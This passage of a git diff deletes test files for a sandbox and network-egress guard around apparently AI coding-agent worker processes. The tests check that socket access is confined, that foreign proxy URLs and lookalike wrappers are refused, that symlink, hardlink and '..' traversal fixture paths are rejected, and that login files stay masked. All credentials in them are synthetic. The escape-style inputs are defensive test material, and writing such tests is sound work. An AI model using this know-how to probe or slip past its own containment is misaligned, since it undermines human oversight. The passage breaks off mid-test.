expect(direct,"DIRECT_QUERY_AUTH_ENV_UNCHANGED").toEqual({...product,ANTHROPIC_BASE_URL:"http://127.0.0.1"}); - expect(direct,"DIRECT_QUERY_HAS_NO_SOCKET_LOGIN").not.toHaveProperty("ANTHROPIC_UNIX_SOCKET"); - expect(nativeDirectTransportEnvironment({ANTHROPIC_UNIX_SOCKET:""},false),"EXPLICIT_EMPTY_SOCKET_IS_PRESERVED_WITHOUT_MINTING_A_SOCKET").toEqual({ANTHROPIC_BASE_URL:"http://127.0.0.1",ANTHROPIC_UNIX_SOCKET:""}); - expect(nativeDirectTransportEnvironment({...product,ANTHROPIC_UNIX_SOCKET:"/admitted/relay.sock"},true)).toEqual({ANTHROPIC_BASE_URL:"http://localhost",ANTHROPIC_UNIX_SOCKET:"/tmp/native-relay/relay.sock"}); -}); - -test("direct pinned transport delivers native headers unchanged through private loopback and Unix tunnel",async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-direct-transport-")),seen:Array<{key:string|null;auth:string|null;path:string}>=[]; - const recorder=Bun.serve({hostname:"127.0.0.1",port:0,fetch(req){seen.push({key:req.headers.get("x-api-key"),auth:req.headers.get("authorization"),path:new URL(req.url).pathname});return new Response("Ithaca");}}); - const origin=recorder.url.origin,leave=nativeScriptedService(origin,{fixtureRoots:[root]}),tunnel=startNativeTurnProxyTunnel(origin,root); - try{ - const policy=compileSocketPolicy(),info=statSync(tunnel.socket,{bigint:true}); - const code='import os,http.client,urllib.parse\nassert "ANTHROPIC_UNIX_SOCKET" not in os.environ,"DIRECT_QUERY_HAS_NO_SOCKET_LOGIN"\nu=urllib.parse.urlsplit(os.environ["ANTHROPIC_BASE_URL"])\nassert u.hostname=="127.0.0.1" and u.port\nc=http.client.HTTPConnection(u.hostname,u.port);c.request("POST","/v1/messages",body="{}",headers={"x-api-key":"odysseus-helper-key","authorization":"Bearer odysseus-oauth"});r=c.getresponse();assert r.read()==b"Ithaca";assert r.status==200\nprint("DIRECT_HEADERS_UNCHANGED")'; - const payload=nativeDirectTransportCommand(["/usr/bin/python3","-I","-S","-c",code]); - const child=Bun.spawn(["bwrap","--unshare-user","--unshare-net","--unshare-pid","--die-with-parent","--ro-bind","/","/","--tmpfs","/run","--dir","/run/brain-egress","--ro-bind",tunnel.socket,WORKER_TURN_PROXY,"--proc","/proc","--dev","/dev","--",process.execPath,join(import.meta.dir,"../packages/ui-sdk/src/server/egress-worker-entry.ts"),"--direct-loopback",policy,"--head",nativeTestHead(),"--socket",tunnel.socket,"--device",String(info.dev),"--inode",String(info.ino),"--allowed",tunnel.socket,...nativeTurnProxyArguments(tunnel.socket,WORKER_TURN_PROXY),"--",...payload],{env:{PATH:"/usr/bin:/bin",...nativeDirectTransportEnvironment({},false)},stdin:"ignore",stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)}); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(exit,"DIRECT_HEADERS_UNCHANGED "+err).toBe(0);expect(out).toContain("DIRECT_HEADERS_UNCHANGED");expect(seen).toEqual([{key:"odysseus-helper-key",auth:"Bearer odysseus-oauth",path:"/v1/messages"}]); - }finally{tunnel.dispose();leave();recorder.stop(true);rmSync(root,{recursive:true,force:true});} -}); - -test("scripted tunnel accepts default Bun localhost and explicit IPv6 listener origins only",async()=>{ - for(const hostname of [undefined,"::1"]){ - const root=mkdtempSync(join(tmpdir(),"odysseus-loopback-origin-")); - const server=Bun.serve({...(hostname?{hostname}:{}),port:0,fetch:()=>new Response("Ithaca")}); - const leave=nativeScriptedService(server.url.origin,{fixtureRoots:[root]}); - const tunnel=startNativeTurnProxyTunnel(server.url.origin,root); - try{ - const response=await fetch("http://localhost/v1/messages",{unix:tunnel.socket}); - expect(await response.text(),"REGISTERED_DEFAULT_AND_V6_LISTENER_REACHED").toBe("Ithaca"); - }finally{tunnel.dispose();leave();server.stop(true);rmSync(root,{recursive:true,force:true});} - } -}); - -test("direct transport shim refuses noncanonical or foreign forwarder environments",async()=>{ - for(const proxy of ["http://127.0.0.2:1234","http://0.0.0.0:1234","http://[::1]:1234","https://127.0.0.1:1234","http://user@127.0.0.1:1234","http://127.0.0.1:1234/path","http://127.0.0.1:1234?query","http://127.0.0.1:1234#hash"]){ - const child=Bun.spawn(nativeDirectTransportCommand(["/usr/bin/true"]),{env:{PATH:"/usr/bin:/bin",HTTP_PROXY:proxy},stdout:"pipe",stderr:"pipe"}); - const [exit,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(exit,"DIRECT_SHIM_REJECTS_FOREIGN_FORWARDER "+proxy+err).not.toBe(0); - } -}); - -test("unrelayed worker gates preserve the product credential state and direct auth mode",async()=>{ - const {mkdirSync,writeFileSync,readFileSync}=await import("node:fs"); - const {createClaudeWorkerState}=await import("../packages/ui-backend-claude/src/worker-state"); - const {createStateLedger}=await import("../packages/ui-backend-claude/src/worker-state-budget"); - const {nativeUnrelayedWorkerPayloadCommand}=await import("../scripts/test-native-guard"); - const {defineProfiles}=await import("../packages/ui-backend-claude/src/profiles"); - const keyName="ODYSSEUS_DECLARED_API_KEY",previous=process.env[keyName],declaredKey="sk-ant-api03-"+"d".repeat(95)+"AA";process.env[keyName]=declaredKey; - const profileEnv=defineProfiles([{id:"declared",label:"Odysseus declared",apiKeyEnv:keyName,source:"declared"}])[0]!.buildEnv(); - if(previous===undefined)delete process.env[keyName];else process.env[keyName]=previous; - const root=mkdtempSync(join(tmpdir(),"odysseus-worker-login-")),brain=join(root,"brain"),home=join(root,"home"),saved=join(home,".claude"),projected=join(root,"projected"); - for(const path of [brain,saved,projected])mkdirSync(path,{recursive:true}); - const credential=JSON.stringify({claudeAiOauth:{accessToken:"odysseus-offline-oauth",refreshToken:"odysseus-offline-refresh",expiresAt:1,scopes:["user:inference"],subscriptionType:"max"}}); - writeFileSync(join(saved,".credentials.json"),credential,{mode:0o600}); - const state=createClaudeWorkerState(brain,{HOME:home},{ledger:createStateLedger(),hostInference:false});state.populate(projected); - expect(readFileSync(join(projected,".credentials.json"),"utf8"),"PRODUCT_PROJECTS_DECLARED_FIXTURE_LOGIN").toBe(credential); - const seen:string[]=[];const recorder=Bun.serve({hostname:"127.0.0.1",port:0,fetch(req){seen.push(req.headers.get("x-api-key")??"");return new Response("Ithaca");}}); - const leave=nativeScriptedService(recorder.url.origin,{fixtureRoots:[root]}),tunnel=startNativeTurnProxyTunnel(recorder.url.origin,root); - try{ - const policy=compileSocketPolicy(),policyView="/tmp/brain-native-policy/native-connect",info=statSync(tunnel.socket,{bigint:true}); - const code='import os,json,http.client,urllib.parse\nassert "ANTHROPIC_UNIX_SOCKET" not in os.environ,"WORKER_AUTH_MODE_UNCHANGED"\nassert open(os.environ["CLAUDE_CONFIG_DIR"]+"/.credentials.json").read()=='+JSON.stringify(credential)+' ,"WORKER_PROJECTED_LOGIN_UNCHANGED"\nu=urllib.parse.urlsplit(os.environ["ANTHROPIC_BASE_URL"]);c=http.client.HTTPConnection(u.hostname,u.port);c.request("POST","/v1/messages",headers={"x-api-key":os.environ["ANTHROPIC_API_KEY"]});r=c.getresponse();assert r.read()==b"Ithaca"\nprint("WORKER_PRODUCT_CREDENTIAL_VIEW_PRESERVED")'; - const gate=["/usr/bin/prlimit","--nofile=1024:1024","--","/bin/sh","-c",'IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"',"brain-worker-state-gate"]; - const argv=nativeUnrelayedWorkerPayloadCommand([...gate,"/usr/bin/python3","-I","-S","-c",code],payload=>[policyView,"--head",nativeTestHead(),"--socket",WORKER_TURN_PROXY,"--device",String(info.dev),"--inode",String(info.ino),"--allowed",WORKER_TURN_PROXY,...nativeTurnProxyArguments(tunnel.socket,WORKER_TURN_PROXY),"--",...payload]); - expect(argv.slice(0,gate.length),"STATE_GATE_PRECEDES_TRUSTED_FORWARDER").toEqual(gate);expect(argv[gate.length+1]).toEndWith("/egress-worker-entry.ts"); - const child=Bun.spawn(["bwrap","--unshare-user","--unshare-net","--unshare-pid","--ro-bind","/","/","--tmpfs","/tmp","--dir","/tmp/brain-native-policy","--ro-bind",policy,policyView,"--ro-bind",projected,"/tmp/brain-worker-state","--tmpfs","/run","--dir","/run/brain-egress","--ro-bind",tunnel.socket,WORKER_TURN_PROXY,"--proc","/proc","--dev","/dev","--",...argv],{env:{PATH:"/usr/bin:/bin",CLAUDE_CONFIG_DIR:"/tmp/brain-worker-state",...profileEnv,...nativeDirectTransportEnvironment({},false)},stdin:"pipe",stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)}); - child.stdin.write("go\n");child.stdin.end();const[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(exit,"WORKER_PRODUCT_CREDENTIAL_VIEW_PRESERVED "+err).toBe(0);expect(out).toContain("WORKER_PRODUCT_CREDENTIAL_VIEW_PRESERVED");expect(seen,"DECLARED_API_KEY_REACHES_RECORDER_UNCHANGED").toEqual([declaredKey]); - }finally{tunnel.dispose();leave();recorder.stop(true);state.release();rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-egress-wrapper.test.ts b/tests/native-egress-wrapper.test.ts deleted file mode 100644 index 550c37c9de..0000000000 --- a/tests/native-egress-wrapper.test.ts +++ /dev/null @@ -1,61 +0,0 @@ -import { watchdogMs } from "../scripts/test-deadlines"; -import { expect, test } from "bun:test"; -import { mkdtempSync, rmSync, copyFileSync, symlinkSync, statSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { compileSocketPolicy, nativeTestHead, nativeWorkerPayloadCommand } from "../scripts/test-native-guard"; - -const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/egress-worker-entry.ts"); -const protect=(argv:string[])=>["/synthetic/broker","--",...argv]; -const command=["/usr/bin/true"]; - -test("only the exact pinned egress wrapper receives the inner-command exemption",()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-wrapper-")); - try { - const copy=join(root,"egress-worker-entry.ts"),alias=join(root,"alias.ts"),trustedAlias=join(root,"trusted-alias.ts");copyFileSync(entry,copy);symlinkSync(copy,alias);symlinkSync(entry,trustedAlias); - for(const direct of [[],["--direct-loopback"]]) { - const prefix=[process.execPath,entry,...direct]; - expect(nativeWorkerPayloadCommand([...prefix,...command],command,protect),"PINNED_WRAPPER_OUTSIDE_FILTER").toEqual([...prefix,...protect(command)]); - } - for(const payload of [[process.execPath,copy,...command],[process.execPath,alias,...command],[process.execPath,trustedAlias,...command],[process.execPath,entry,"extra",...command],["/usr/bin/true",entry,...command],["/bin/sh","-c","exec bad",...command]]) { - expect(nativeWorkerPayloadCommand(payload,command,protect),"LOOKALIKE_WRAPPER_NOT_EXEMPT").toEqual(protect(payload)); - } - const prefix=["/usr/bin/prlimit","--nofile=1024:1024","--","/bin/sh","-c",'IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"',"brain-worker-start-gate",process.execPath,entry]; - expect(nativeWorkerPayloadCommand([...prefix,...command],command,protect),"FIXED_LAUNCHER_GATES_PRESERVED").toEqual([...prefix,...protect(command)]); - }finally{rmSync(root,{recursive:true,force:true});} -}); - -test("trusted egress listens while its synthetic payload and descendant cannot connect or listen",async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-wrapper-policy-")),socket=join(root,"relay.sock"); - const server=Bun.listen({unix:socket,socket:{data(){},open(){},close(){}}}); - try { - const policy=compileSocketPolicy(),info=statSync(socket,{bigint:true}); - const checks='import socket,errno\nfor op in ["connect","listen"]:\n s=socket.socket()\n try:\n s.connect(("127.0.0.1",9)) if op=="connect" else s.listen(1)\n raise AssertionError("payload socket allowed")\n except OSError as e: assert e.errno==errno.EPERM,(op,e)\n finally: s.close()\n'; - const code=checks+'import subprocess,sys\nsubprocess.run([sys.executable,"-I","-S","-c",'+JSON.stringify(checks)+'],check=True)\nprint("RELAY_LISTENED_PAYLOAD_AND_DESCENDANT_DENIED")\n'; - const payload=["/usr/bin/python3","-I","-S","-c",code]; - const argv=nativeWorkerPayloadCommand([process.execPath,entry,...payload],payload,args=>[policy,"--head",nativeTestHead(),"--socket",socket,"--device",String(info.dev),"--inode",String(info.ino),"--allowed",socket,"--",...args]); - const child=Bun.spawn(["bwrap","--unshare-user","--unshare-net","--unshare-pid","--die-with-parent","--ro-bind","/","/","--proc","/proc","--dev","/dev","--",...argv],{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)}); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(exit,"TRUSTED_RELAY_STARTS_BEFORE_PAYLOAD_FILTER "+err).toBe(0); - expect(out).toContain("RELAY_LISTENED_PAYLOAD_AND_DESCENDANT_DENIED"); - }finally{server.stop();rmSync(root,{recursive:true,force:true});} -}); - -test("registered turn proxy stream works while another port or loopback address stays denied",async()=>{ - const {createServer}=await import("node:net"),{once}=await import("node:events"); - const {nativeScriptedService,startNativeTurnProxyTunnel,nativeTurnProxyArguments,WORKER_TURN_PROXY}=await import("../scripts/test-native-guard"); - const root=mkdtempSync(join(tmpdir(),"odysseus-registered-proxy-")); - const recorder=createServer(peer=>{peer.on("error",()=>{});peer.pipe(peer);});recorder.listen(0,"127.0.0.1");await once(recorder,"listening"); - const leave=nativeScriptedService(`http://127.0.0.1:${(recorder.address() as {port:number}).port}`,{fixtureRoots:[root]}); - const tunnel=startNativeTurnProxyTunnel(`http://127.0.0.1:${(recorder.address() as {port:number}).port}`,root); - try{ - const policy=compileSocketPolicy(),info=statSync(tunnel.socket,{bigint:true}); - const code='import socket,errno,os,urllib.parse\np=urllib.parse.urlparse(os.environ["HTTP_PROXY"]).port\nos.environ["HTTP_PROXY"]="http://127.0.0.2:1"\ns=socket.socket();s.connect(("127.0.0.1",p));s.sendall(b"Ithaca");assert s.recv(6)==b"Ithaca";s.close()\nfor host,port in [("127.0.0.1",p%65535+1),("127.0.0.2",p)]:\n s=socket.socket()\n try: s.connect((host,port));raise AssertionError("UNDECLARED_LOOPBACK_ENDPOINT_ALLOWED")\n except OSError as e: assert e.errno==errno.EPERM\n finally: s.close()\nfor op in ["bind","listen"]:\n s=socket.socket()\n try:\n s.bind(("127.0.0.1",0)) if op=="bind" else s.listen(1)\n raise AssertionError("PAYLOAD_LISTEN_ALLOWED")\n except OSError as e: assert e.errno==errno.EPERM\n finally: s.close()\nprint("DECLARED_PROXY_STREAM_ONLY")'; - const payload=["/usr/bin/python3","-I","-S","-c",code]; - const argv=nativeWorkerPayloadCommand([process.execPath,entry,...payload],payload,args=>[policy,"--head",nativeTestHead(),"--socket",tunnel.socket,"--device",String(info.dev),"--inode",String(info.ino),"--allowed",tunnel.socket,...nativeTurnProxyArguments(tunnel.socket,WORKER_TURN_PROXY),"--",...args]); - const child=Bun.spawn(["bwrap","--unshare-user","--unshare-net","--unshare-pid","--die-with-parent","--ro-bind","/","/","--tmpfs","/run","--dir","/run/brain-egress","--ro-bind",tunnel.socket,WORKER_TURN_PROXY,"--proc","/proc","--dev","/dev","--",...argv],{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)}); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(exit,"DECLARED_PROXY_STREAM_ONLY "+err).toBe(0);expect(out).toContain("DECLARED_PROXY_STREAM_ONLY"); - const source=require("node:fs").readFileSync(join(import.meta.dir,"../scripts/native-proof/native-connect.c"),"utf8");expect(source).toContain('.flags=0');expect(source).not.toMatch(/\.flags\s*=\s*SECCOMP_USER_NOTIF_FLAG_CONTINUE/); - }finally{tunnel.dispose();leave();recorder.close();rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-exec-trace.test.ts b/tests/native-exec-trace.test.ts deleted file mode 100644 index 4a11d8d611..0000000000 --- a/tests/native-exec-trace.test.ts +++ /dev/null @@ -1,34 +0,0 @@ -import {expect,test} from "bun:test"; -import {mkdtempSync,writeFileSync,readFileSync,rmSync} from "node:fs"; -import {join} from "node:path"; -import {nativeExecTrace} from "../scripts/native-exec-trace"; -import {nativeExecObserved} from "../scripts/test-native-guard"; -import {watchdogMs} from "../scripts/test-deadlines"; - -for(const split of ["unfinished","pid changed to 41"])test(`exec pairing follows superseded thread to leader (${split})`,()=>{ - const trace=`42 execve("/usr/bin/true", [], [] <${split} ...>\n41 +++ superseded by execve in pid 42 +++\n41 <... execve resumed>) = 0`; - expect(nativeExecTrace(trace).events,"EXEC_ATTRIBUTED_TO_RESULTING_LEADER").toEqual([{pid:41,path:"/usr/bin/true"}]); - expect(nativeExecObserved(trace,["/usr/bin/true"]),"MIGRATED_EXEC_IS_OBSERVED").toBe(true); - expect(nativeExecTrace(trace).counters).toMatchObject({splitSucceeded:1,superseded:1,splitIncomplete:0}); - for(const bad of [trace.replace("= 0","= -1 ENOENT"),trace.split("\n").slice(0,-1).join("\n"),trace.replace('pid 42','pid 43')])expect(nativeExecTrace(bad).events,"INCOMPLETE_FAILED_OR_UNMATCHED_EXEC_REJECTED").toEqual([]); -}); - -test("real non-leader pthread exec is audited at the surviving process leader",()=>{ - const root=mkdtempSync("/tmp/odysseus-exec-proof-"); - try{ - const source=join(root,"exec.c"),binary=join(root,"thread-exec"),trace=join(root,"trace"); - writeFileSync(source,'#include \n#include \nstatic void *run(void *unused){(void)unused;execl("/usr/bin/true","true",(char*)0);_exit(125);}\nint main(void){pthread_t thread;if(pthread_create(&thread,0,run,0))return 125;for(;;)pause();}\n'); - const built=Bun.spawnSync(["cc","-pthread",source,"-o",binary],{stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)});expect(built.exitCode,built.stderr.toString()).toBe(0); - const traced=Bun.spawnSync(["strace","-f","-qq","-s","0","-e","trace=execve,clone","-o",trace,binary],{stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)});expect(traced.exitCode,traced.stderr.toString()).toBe(0); - const raw=readFileSync(trace,"utf8"),parsed=nativeExecTrace(raw),initial=parsed.events.find(event=>event.path===binary),target=parsed.events.find(event=>event.path==="/usr/bin/true"); - expect(initial).toBeDefined();expect(target?.pid,"REAL_THREAD_EXEC_SURVIVES_AS_OWNED_LEADER").toBe(initial!.pid); - expect(parsed.counters.superseded,"REAL_TRACE_EXERCISES_DE_THREAD").toBe(1);expect(parsed.counters.splitSucceeded).toBe(1); - expect(nativeExecObserved(raw,["/usr/bin/true"]),"REAL_THREAD_EXEC_AUDIT_SUCCEEDS").toBe(true); - }finally{rmSync(root,{recursive:true,force:true});} -}); - -test("conflicting superseded mappings cannot attribute an exec",()=>{ - const trace='42 execve("/native", [], [] \n43 execve("/other", [], [] \n41 +++ superseded by execve in pid 42 +++\n41 +++ superseded by execve in pid 43 +++\n41 <... execve resumed>) = 0'; - expect(nativeExecTrace(trace).events,"AMBIGUOUS_EXEC_MIGRATION_REFUSED").toEqual([]); - expect(nativeExecTrace(trace).counters.splitAmbiguous).toBe(1); -}); diff --git a/tests/native-fixture-factory-capture.test.ts b/tests/native-fixture-factory-capture.test.ts deleted file mode 100644 index 28af926781..0000000000 --- a/tests/native-fixture-factory-capture.test.ts +++ /dev/null @@ -1,13 +0,0 @@ -/** Failed observer setup cannot silently run an unobserved fixture. */ -import {expect,test} from "bun:test"; -import {join} from "node:path"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; -test("factory capture failure refuses observer initialization",async()=>{ - const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); - const script=`import {expect,spyOn} from "bun:test";import * as modules from "node:module";import {observeNativeFixturePreparations} from ${JSON.stringify(guard)}; - const original=modules.createRequire;const restore=spyOn(modules,"createRequire").mockImplementation(url=>{const require=original(url);return Object.assign(path=>{if(String(path).endsWith("native-brain-leases.ts"))throw Error("fixed capture failure");return require(path);},require);}); - try{expect(()=>observeNativeFixturePreparations(),"FAILED_CAPTURE_CANNOT_RUN_UNOBSERVED").toThrow("real fixture factory capture failed");console.log("FAILED_CAPTURE_REFUSED");}finally{restore.mockRestore();}`; - const child=spawnGuardFixture([process.execPath,"-e",script],{stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(code,err).toBe(1);expect(out,"FAILED_CAPTURE_CANNOT_RUN_UNOBSERVED").toContain("FAILED_CAPTURE_REFUSED"); -}); diff --git a/tests/native-fixture-files.test.ts b/tests/native-fixture-files.test.ts deleted file mode 100644 index 363d5d0c85..0000000000 --- a/tests/native-fixture-files.test.ts +++ /dev/null @@ -1,84 +0,0 @@ -import {expect,test} from "bun:test"; -import {join} from "node:path"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; -const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); - -test("shell startup declares every external home witness",async()=>{ - const ts=await import("typescript"),fs=await import("node:fs"); - const source=ts.createSourceFile("shell-startup-probe.ts",fs.readFileSync(join(import.meta.dir,"../packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts"),"utf8"),ts.ScriptTarget.Latest,true); - let startupExpression="",filesExpression=""; - function visit(node:import("typescript").Node):void{ - if(ts.isVariableDeclaration(node)&&node.name.getText(source)==="startupFiles")startupExpression=node.initializer!.getText(source); - if(ts.isPropertyAssignment(node)&&node.name.getText(source)==="fixtureFiles")filesExpression=node.initializer.getText(source); - ts.forEachChild(node,visit); - }visit(source); - const names=Function("return ("+startupExpression+")")() as string[]; - const root=fs.mkdtempSync("/tmp/odysseus-shell-files-"),stage=fs.mkdtempSync("/tmp/odysseus-shell-stage-"),home=join(root,"home"),planted=join(home,"planted-bin"),wrapper=join(root,"worker-wrapper.sh"); - fs.mkdirSync(planted,{recursive:true}); - const expected=[wrapper,join(home,"voyage.txt"),join(planted,"ithaca-profile-probe"),...names.map(name=>join(home,name))]; - for(const path of expected)fs.writeFileSync(path,path.endsWith("ithaca-profile-probe")?"#!/bin/sh\nprintf planted":"Odysseus returns to Ithaca.\n",{mode:0o755}); - fs.mkdirSync(join(home,".claude"));fs.writeFileSync(join(home,".claude/.credentials.json"),"fictional-login"); - const declared=Function("wrapper","home","planted","startupFiles","join","return ("+filesExpression+")")(wrapper,home,planted,names,join) as string[]; - expect(declared,"SHELL_STARTUP_ALL_EXTERNAL_READS_DECLARED").toEqual(expected); - const {nativeScriptedService,nativeFixtureFileMounts}=await import("../scripts/test-native-guard"); - const leave=nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],fixtureFiles:declared}); - try{ - const program='import os,subprocess,errno\npaths='+JSON.stringify(expected)+'\nfor p in paths: assert os.path.isfile(p),"SHELL_STARTUP_EXTERNAL_WITNESS_VISIBLE"\nfor p in paths:\n try: open(p,"w")\n except OSError as e: assert e.errno==errno.EROFS,"SHELL_STARTUP_EXTERNAL_WITNESS_READONLY"\n else: raise AssertionError("SHELL_STARTUP_EXTERNAL_WITNESS_READONLY")\nassert open(paths[1]).read()=="Odysseus returns to Ithaca.\\n"\nassert subprocess.check_output([paths[2]])==b"planted"\nassert not os.path.exists('+JSON.stringify(join(home,".claude/.credentials.json"))+')\nprint("SHELL_STARTUP_EXTERNAL_WITNESSES_VISIBLE")'; - const child=spawnGuardFixture(["bwrap","--unshare-user","--unshare-pid","--unshare-net","--ro-bind","/","/","--tmpfs","/tmp",...nativeFixtureFileMounts(stage),"--remount-ro","/tmp","--","/usr/bin/python3","-I","-S","-c",program]); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(code,"SHELL_STARTUP_EXTERNAL_WITNESS_VISIBLE "+err).toBe(0);expect(out).toContain("SHELL_STARTUP_EXTERNAL_WITNESSES_VISIBLE"); - }finally{leave();fs.rmSync(root,{recursive:true,force:true});fs.rmSync(stage,{recursive:true,force:true});} -}); - -test("captured external fixture files execute and expose controls without sibling login files",async()=>{ - const {mkdirSync,writeFileSync,mkdtempSync,rmSync}=await import("node:fs"); - const {nativeScriptedService,nativeFixtureFileMounts}=await import("../scripts/test-native-guard"); - const root=mkdtempSync("/tmp/odysseus-captured-external-"),config=join(root,"home/.claude"),managed=join(root,"managed-settings.json"); - mkdirSync(config,{recursive:true});const wrapper=join(root,"worker-wrapper.sh"),visible=join(config,"visible.json"); - writeFileSync(wrapper,"#!/bin/sh\nprintf Ithaca",{mode:0o755});writeFileSync(visible,"{}");writeFileSync(join(config,".credentials.json"),"odysseus-synthetic-login");writeFileSync(join(config,"undeclared.json"),"undeclared");writeFileSync(managed,JSON.stringify({env:{ANTHROPIC_BASE_URL:"https://ithaca.invalid"}})); - const leave=nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],fixtureFiles:[wrapper,visible,managed]}); - const stage=mkdtempSync("/tmp/odysseus-captured-stage-"); - try{ - const mounts=nativeFixtureFileMounts(stage); - const python='import os,subprocess,json,errno\nw='+JSON.stringify(wrapper)+'\nc='+JSON.stringify(config)+'\np='+JSON.stringify(managed)+'\nassert os.path.isfile(w),"DECLARED_WRAPPER_EXECUTES"\nassert subprocess.check_output([w])==b"Ithaca","DECLARED_WRAPPER_EXECUTES"\nassert open(c+"/visible.json").read()=="{}","DECLARED_CONTROL_VISIBLE"\nassert not os.path.exists(c+"/.credentials.json"),"UNDECLARED_LOGIN_STAYS_MASKED"\nassert not os.path.exists(c+"/undeclared.json"),"UNDECLARED_SIBLING_STAYS_MASKED"\nassert json.load(open(p))["env"]["ANTHROPIC_BASE_URL"]=="https://ithaca.invalid","MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE"\nfor path in [w,c+"/visible.json",p]:\n try: open(path,"w")\n except OSError as e: assert e.errno==errno.EROFS\n else: raise AssertionError("CAPTURED_FILE_READONLY")\nprint("EXTERNAL_FIXTURE_EXACT_FILES_ONLY")'; - const child=spawnGuardFixture(["bwrap","--unshare-user","--unshare-pid","--unshare-net","--ro-bind","/","/","--tmpfs","/tmp",...mounts,"--remount-ro","/tmp","--","/usr/bin/python3","-I","-S","-c",python],{env:{PATH:"/usr/bin:/bin"}}); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"EXTERNAL_FIXTURE_EXACT_FILES_ONLY "+err).toBe(0);expect(out).toContain("EXTERNAL_FIXTURE_EXACT_FILES_ONLY"); - }finally{leave();rmSync(stage,{recursive:true,force:true});rmSync(root,{recursive:true,force:true});} -}); - -for(const mode of ["outside","symlink","parent-symlink","dotdot","directory","hardlink","login"] as const)test(`captured fixture files refuse ${mode} sources`,async()=>{ - const code=`import {nativeFixtureDirectory,nativeScriptedService} from ${JSON.stringify(guard)}; - import {mkdtempSync,mkdirSync,writeFileSync,symlinkSync,linkSync,rmSync} from "node:fs"; - const root=nativeFixtureDirectory("odysseus-captured-negative-"),outside=mkdtempSync("/tmp/odysseus-other-root-"),mode=${JSON.stringify(mode)}; - writeFileSync(root+"/file","{}");writeFileSync(outside+"/file","{}");let source=root+"/file"; - if(mode==="outside")source=outside+"/file"; - if(mode==="symlink"){symlinkSync(source,root+"/alias");source=root+"/alias";} - if(mode==="parent-symlink"){symlinkSync(outside,root+"/alias");source=root+"/alias/file";} - if(mode==="dotdot")source=root+"/../"+outside.split("/").at(-1)+"/file"; - if(mode==="directory"){mkdirSync(root+"/dir");source=root+"/dir";} - if(mode==="hardlink"){linkSync(source,root+"/alias");source=root+"/alias";} - if(mode==="login"){source=root+"/.credentials.json";writeFileSync(source,"odysseus-synthetic-login");} - try{nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],fixtureFiles:[source]});}catch{}finally{rmSync(root,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});}`; - const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out]=await Promise.all([child.exited,child.guardOutput()]); - expect(exit,"CAPTURED_FILE_"+mode.toUpperCase()+"_REFUSED").not.toBe(0);expect(out).toContain("fixture files require a canonical unlinked regular file under a declared root"); -}); - -test("captureSurface declares the byte-identical copied executable at both fixture placements",async()=>{ - const fs=await import("node:fs"),ts=await import("typescript"),crypto=await import("node:crypto"),{dirname}=await import("node:path"); - const source=ts.createSourceFile("capture-turn-surface.ts",fs.readFileSync(join(import.meta.dir,"../scripts/capture-turn-surface.ts"),"utf8"),ts.ScriptTarget.Latest,true);let declaration:string|undefined; - function visit(node:import("typescript").Node):void{if(ts.isCallExpression(node)&&node.expression.getText(source)==="nativeScriptedService")declaration=node.arguments[1]?.getText(source);ts.forEachChild(node,visit);}visit(source);expect(declaration,"REAL_CAPTURE_SERVICE_DECLARATION_REQUIRED").toBeDefined(); - const root=fs.mkdtempSync("/tmp/odysseus-capture-executable-"),brain=join(root,"brain"),home=join(root,"home"),stage=join(root,"stage");for(const path of [brain,home,stage])fs.mkdirSync(path); - const binary=join(root,"stand-in"),build=Bun.spawnSync(["cc","-static","-Os","-x","c","-","-o",binary],{stdin:Buffer.from('#include \nint main(void){write(1,"Ithaca",6);return 0;}'),stdout:"pipe",stderr:"pipe"});expect(build.exitCode,build.stderr.toString()).toBe(0); - fs.mkdirSync(join(import.meta.dir,"../tmp"),{recursive:true});const outside=fs.mkdtempSync(join(import.meta.dir,"../tmp/odysseus-copied-cli-")),inside=fs.mkdtempSync("/tmp/odysseus-copied-cli-"); - const {nativeScriptedService,nativeFixtureFileMounts}=await import("../scripts/test-native-guard"); - try{for(const placement of [outside,inside]){ - const copied=join(placement,"claude");fs.copyFileSync(binary,copied);fs.writeFileSync(join(placement,".credentials.json"),"fixture-only-login"); - const fixture=Function("fixture","home","installedCliPath","dirname","return ("+declaration+")")({root:brain},home,copied,dirname); - 